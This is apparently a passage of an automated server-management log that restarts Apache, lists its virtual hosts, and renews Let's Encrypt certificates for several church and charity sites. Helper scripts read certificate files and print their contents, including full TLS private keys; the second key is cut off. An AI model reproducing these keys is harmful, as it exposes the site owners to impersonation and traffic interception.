	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf= 1'
fi


2026-01-14 06:00:19: 

chmod 755 /tmp/pkp928333; /tmp/pkp928333; rm /tmp/pkp928333

2026-01-14 06:00:19: 




2026-01-14 06:00:19: 

PUT: /tmp/pkp154281

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-14 06:00:20: 

chmod 755 /tmp/pkp154281; /tmp/pkp154281; rm /tmp/pkp154281

2026-01-14 06:00:20: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:00:20: Establishing a connection
2026-01-14 06:00:20: 

PUT: /tmp/pkp452164

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-14 06:00:20: 

chmod 755 /tmp/pkp452164; /tmp/pkp452164; rm /tmp/pkp452164

2026-01-14 06:00:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:00:20: 

PUT: /tmp/pkp512495

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks-uk_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:00:20: 

chmod 755 /tmp/pkp512495; /tmp/pkp512495; rm /tmp/pkp512495

2026-01-14 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf	1415

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-14 06:00:20: 

PUT: /tmp/pkp736756

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:00:20: 

chmod 755 /tmp/pkp736756; /tmp/pkp736756; rm /tmp/pkp736756

2026-01-14 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt	5390
fb:1d:fa:ab:0f:b9:6a:d1:76:34:6c:78:63:ab:a3:21

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBkiwc8C5N0CrcBnGQmmlIwIPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMTQ3WhcNMjYwNDE0MDUwMTQ2WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwun35OO2CA7R7KopW/C6XJdDMlFLaXFosGbn2+C894BDVb/iQcokLCKnK6kR
u0vXkqBfk3j8E9tQo/a//yoCegiPjQN9dvvCaWZrjCsZTndIiJ37dwG8TQqxqvJi
8XZ0NAbewZr9YSEZ39HzcoOeSjD3QSaYq7g5iZdMLjLvafRRzcV2iCk92L05+7s6
OlwDLnAKghDbHbzjtzcInIF4VfmMqdCeNKDnlLyycnDR5J69gKjN4LXMAP8Cpjta
2KTs5zir9boXXq96Dez9x2VKcQFYjEp3veaSrYEujMpEm/BRNTGxwxDOnNRy0vEf
M+nzgP+40gfTWTdPz7amdaEsTwIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQ/tmQiDpe37Y4mr7LXSmhuJC9YdjAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTYuY3JsMIIBCwYK
KwYBBAHWeQIEAgSB/ASB+QD3AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekx
syPLlQQAAAGbuxcyoQAABAMARzBFAiEAgDjz3Qyf0xVybxdmSUr1mZ+/UwywVdnV
Ia8gj8BG62oCIAVST+l3/Y9LoqhElj93xzRBtw957IOUTNmZ6yJqKTjeAH0A4yON
8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGbuxczWwAIAAAFAC9XdgkE
AwBGMEQCICpmL3+CNT7o6ess795YleRP4IDVFpQ8YiOvHVILdx9XAiAk5a8nS6P5
1GZ08vEt4X4iSIOXqVxIbaJ+9NclLeebbzANBgkqhkiG9w0BAQsFAAOCAQEAJbvR
enPWqKMczNy2SCHH9g8+3CbDBJnBEqe912pDULU7ekCpWXc9wNg3xSPEVtj5m/S+
72FmNxTtxPd7s44O8s85Lz0RvVkax5YrDYczsLRzEXTQSddwCQJ4lMUUUv2GzY6C
ZnnRva8SRr4w4cYwIPeXTG6KEyTv7YFkV6Ls9GELoWRJH4iT+CB4OSDp4Gvq9gs2
DtvJFuMqcWxalGxz4Rst4BvZrYz1XojOmCiGkVg/lHrZJ+kO02KoUZbwFqgr5LLZ
o42YnhonPtgIDYAJHrHusWlx0HUBixBPeQoaCFsoUy1URvwILy7d9rncQunYDCZb
83cYE+/WIqKSFaoDhQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDC6ffk47YIDtHs
qilb8Lpcl0MyUUtpcWiwZufb4Lz3gENVv+JByiQsIqcrqRG7S9eSoF+TePwT21Cj
9r//KgJ6CI+NA312+8JpZmuMKxlOd0iInft3AbxNCrGq8mLxdnQ0Bt7Bmv1hIRnf
0fNyg55KMPdBJpiruDmJl0wuMu9p9FHNxXaIKT3YvTn7uzo6XAMucAqCENsdvOO3
NwicgXhV+Yyp0J40oOeUvLJycNHknr2AqM3gtcwA/wKmO1rYpOznOKv1uhder3oN
7P3HZUpxAViMSne95pKtgS6MykSb8FE1MbHDEM6c1HLS8R8z6fOA/7jSB9NZN0/P
tqZ1oSxPAgMBAAECggEAEaxyaGRHcLKbUVjamDYbR+MFWk4pxt1cL0addoAJ0m1k
baWRCAMixYe83cYeT/vgB7EYCYC6ZriHtt5caXAvOk6FabVrznqklbcOQG72A/nn
709X6mITZ271TjldRGTHw6Ht1+NMX17HgFaCuxr5IuQOv28W/9ccDIBWDYhb0iEH
MKPOmDtyeTY/uAlwYj96LItewRvMX7XoxmKdzyVchTal1WnQWG5jl8/UIHlHY3D1
iLTyFD5S1AFAP+w6FN46JnDC+tHex5FDzPHILjgg6BybXabmQEg1m2UMVhNmHic3
RHuOJFDM4l7tos1QmW2LxQCONCO8rKbEnW84XABOzQKBgQDouWJk97ZT6oKPr4KJ
jVGFyVuIa+pjJCDY+ajae9frqCqTTgmfGAuvIrMEgxZg4gBB1bzYi+hDbq307hqj
Ct0xHq4PG3zs31NGq4aRoNGOwqu79bclRub43cmzytr/C8LBG12JQQNWl5lA7+OM
OV48Jd8Rx4igZBLFffGDf1nGCwKBgQDWaH/3AQkO/l/YiAJOQLO1olvbQxR2UOtl
IU+IwW19UV/Ip4w/GIB0gt0dxySDB47pMK85tjs7fPehj4bAamdtscydLA2qo+PB
jy18zQXjbtsuQBp8/39hIsRvvtKjFimU2kXGa+mIKvoZ98bBc3a02vO2MlORSPTW
/gJRf/mxTQKBgQDDYah+1gzn5NFaKmJwcwmHRaaoINm2BEXjg67ERwbe3N9prjGb
tMdScNJUrm1iRzsqCnSyZLtJqak4IZKRYXSUYYqGOnCmOVQj16txpc9piHw/oCnz
jNQrCaDmZh930nrePshHjCJuV3Yds4iZWCyKWM0vkxJcfcfYsETMPmWzQwKBgH+q
g5+hFzK9VnbJLY5Iynj5rvZU7+cvcaqq9f+5JSe8f2ssEL81KK+3iFAF1wDKTFcf
rQaRMp3OYGjr3FHQSbuwZeSkaZLUuXX0eiJYtgvhY1MbymnpfIBrQkpDdoqzVJkU
iv2GHez9oiQ6PDfON72irgEr4ESfC2LEpr6+k//1AoGBAJR3BhcU8hmZAZ/lzImV
MVGBYNOf7rNOc5toFYBp1f7mbg3akdJhz4nomI+MmxoUWipd73To6ICX0Rw9VjsS
SrGd5pZiykzjrmhmT+SJzroCF7WswA3tfckSWOSssEKJ4+S6noeQ1pa0+QOugLsE
/wmU42YMUi4hDr9CH8a3LDDi
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-14 06:00:20: Establishing a connection
2026-01-14 06:00:20: Establishing a connection
2026-01-14 06:00:21: 

PUT: /tmp/pkp399372

#!/bin/bash
if [ -d "/var/www/biblebasicsonline_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-14 06:00:21: 

chmod 755 /tmp/pkp399372; /tmp/pkp399372; rm /tmp/pkp399372

2026-01-14 06:00:21: 


1


2026-01-14 06:00:21: Establishing a connection
2026-01-14 06:00:21: 

PUT: /tmp/pkp579178

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cat > Tgf7xbAO-wATwKdhIvXbSg_EycCNuYz_r4cVl5zJqAU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Tgf7xbAO-wATwKdhIvXbSg_EycCNuYz_r4cVl5zJqAU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Tgf7xbAO-wATwKdhIvXbSg_EycCNuYz_r4cVl5zJqAU
cat > iGRiqrORZi1fV00BeKz6HsmNt56XCyE_RjfsD54Vo9g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
iGRiqrORZi1fV00BeKz6HsmNt56XCyE_RjfsD54Vo9g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 iGRiqrORZi1fV00BeKz6HsmNt56XCyE_RjfsD54Vo9g


2026-01-14 06:00:21: 

chmod 755 /tmp/pkp579178; /tmp/pkp579178; rm /tmp/pkp579178

2026-01-14 06:00:21: 




2026-01-14 06:00:31: Establishing a connection
2026-01-14 06:00:31: 

PUT: /tmp/pkp551544

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
rm Tgf7xbAO-wATwKdhIvXbSg_EycCNuYz_r4cVl5zJqAU
rm iGRiqrORZi1fV00BeKz6HsmNt56XCyE_RjfsD54Vo9g


2026-01-14 06:00:31: 

chmod 755 /tmp/pkp551544; /tmp/pkp551544; rm /tmp/pkp551544

2026-01-14 06:00:31: 




2026-01-14 06:00:31: Establishing a connection
2026-01-14 06:00:31: 

PUT: /tmp/pkp242863

#!/bin/bash
temp_file=$(mktemp)
TARGET=6826643b9e24e5e5121c4fe73657b282.crt

cat > $temp_file <<'endmsg'
b0:68:b0:99:5c:c0:93:1a:a3:da:c3:ff:2d:3a:5b:94

-----BEGIN CERTIFICATE-----
MIIFKTCCBBGgAwIBAgISBicsNdbC1LCxh3ZuqX0En//AMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMTU5WhcNMjYwNDE0MDUwMTU4WjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCm+LEZ7NkH2SShot3edlAQaoawVb65O047t4TRZcnwb/axn2r8/clZ
4gvRve+UXYPgJiZY0Cr0nsvV2aLLHdFfse9Q0RsK/Bc++jEZcSY3o7BUQ2q1SHBh
idCKY2vmmY8fnll5yn428FRvX2FHmCTv2+j59B5Xg0ZJdzTd6TS1PapHchrxHGJF
q4r9mO/fGeXbfs+wen69S9pDu8gB3Wz4+o7rODBGswrJGDMszZ7ofw6QxPggXPxq
AZw7u8lrJK20YF+7l6e+W/b0G6KtWUCU2fmkf28WWYqxfTNCnwVBVN4NUOgvwz4Y
CNuCswdE1J+snxtFB+iafqQpMqLajTIzAgMBAAGjggJIMIICRDAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFLxZvQbvRxnEi6MC6/5q4s/VvWANMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvNjUuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAFoMtq/CpJQ8P8Dql
Rf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbuxdgFgAABAMARjBEAiA5+57uxptxFMX1
d8EYEW7xTTh0A4bB2DZ0gq/24jR/pAIgautQsJlIi5woKRnRn8FrY/zhiSTJ9Hsp
VBmbS0znhh0AfwDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZu7
F2I7AAgAAAUAL1d2/wQDAEgwRgIhAOR1VjlNwXpTbgt/1HH0Ek3uzzoNuO2IFaB1
tkuCSRBcAiEAndAzm+MqTqG5iq6/nluVc5fWNW8dCImrmhft2qhXpOwwDQYJKoZI
hvcNAQELBQADggEBABPsSy0Q/fPwBpqvMb9xJRc+15LGm6KOjipX8K++U7ArkdzL
QiZcP9V77yIp/+lbKCDehpID9quVDu+7boEieLgGgQeIN3MUFPLFA+XTkwKYnW5W
qCk4h/pxCO8XPsTiHJCIWpdNhVy/8y1tnubSgAS1zT9cP5Pg29pkIuAE7vdU5IUq
B5tJk0HXagcbMbT5+D/o2G8ZM8Zi6U2ekdfMski2pomBzwz8F/TDWu+4wsgZd+FE
J60cjm3T43zh6ZCG0SIZIKDDPAoa25zwHu8J6aLMRz8cKQ4Q2Up7jzPA/dFsOmx4
rOclO0o9JMaGLt36I0bJQePGFffjNlnuw9zOPSc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCm+LEZ7NkH2SSh
ot3edlAQaoawVb65O047t4TRZcnwb/axn2r8/clZ4gvRve+UXYPgJiZY0Cr0nsvV
2aLLHdFfse9Q0RsK/Bc++jEZcSY3o7BUQ2q1SHBhidCKY2vmmY8fnll5yn428FRv
X2FHmCTv2+j59B5Xg0ZJdzTd6TS1PapHchrxHGJFq4r9mO/fGeXbfs+wen69S9pD
u8gB3Wz4+o7rODBGswrJGDMszZ7ofw6QxPggXPxqAZw7u8lrJK20YF+7l6e+W/b0
G6KtWUCU2fmkf28WWYqxfTNCnwVBVN4NUOgvwz4YCNuCswdE1J+snxtFB+iafqQp
MqLajTIzAgMBAAECggEAAIn92YRKXoDUz98O33LWnebzR4GYgCu6IMk5mPiaJwFF
hwmN/92oKXbWEO6PnLm3/SCLi262UoCzl3kAiRwv9iKyfYOWKJ7G3QGc6GTVQuUB
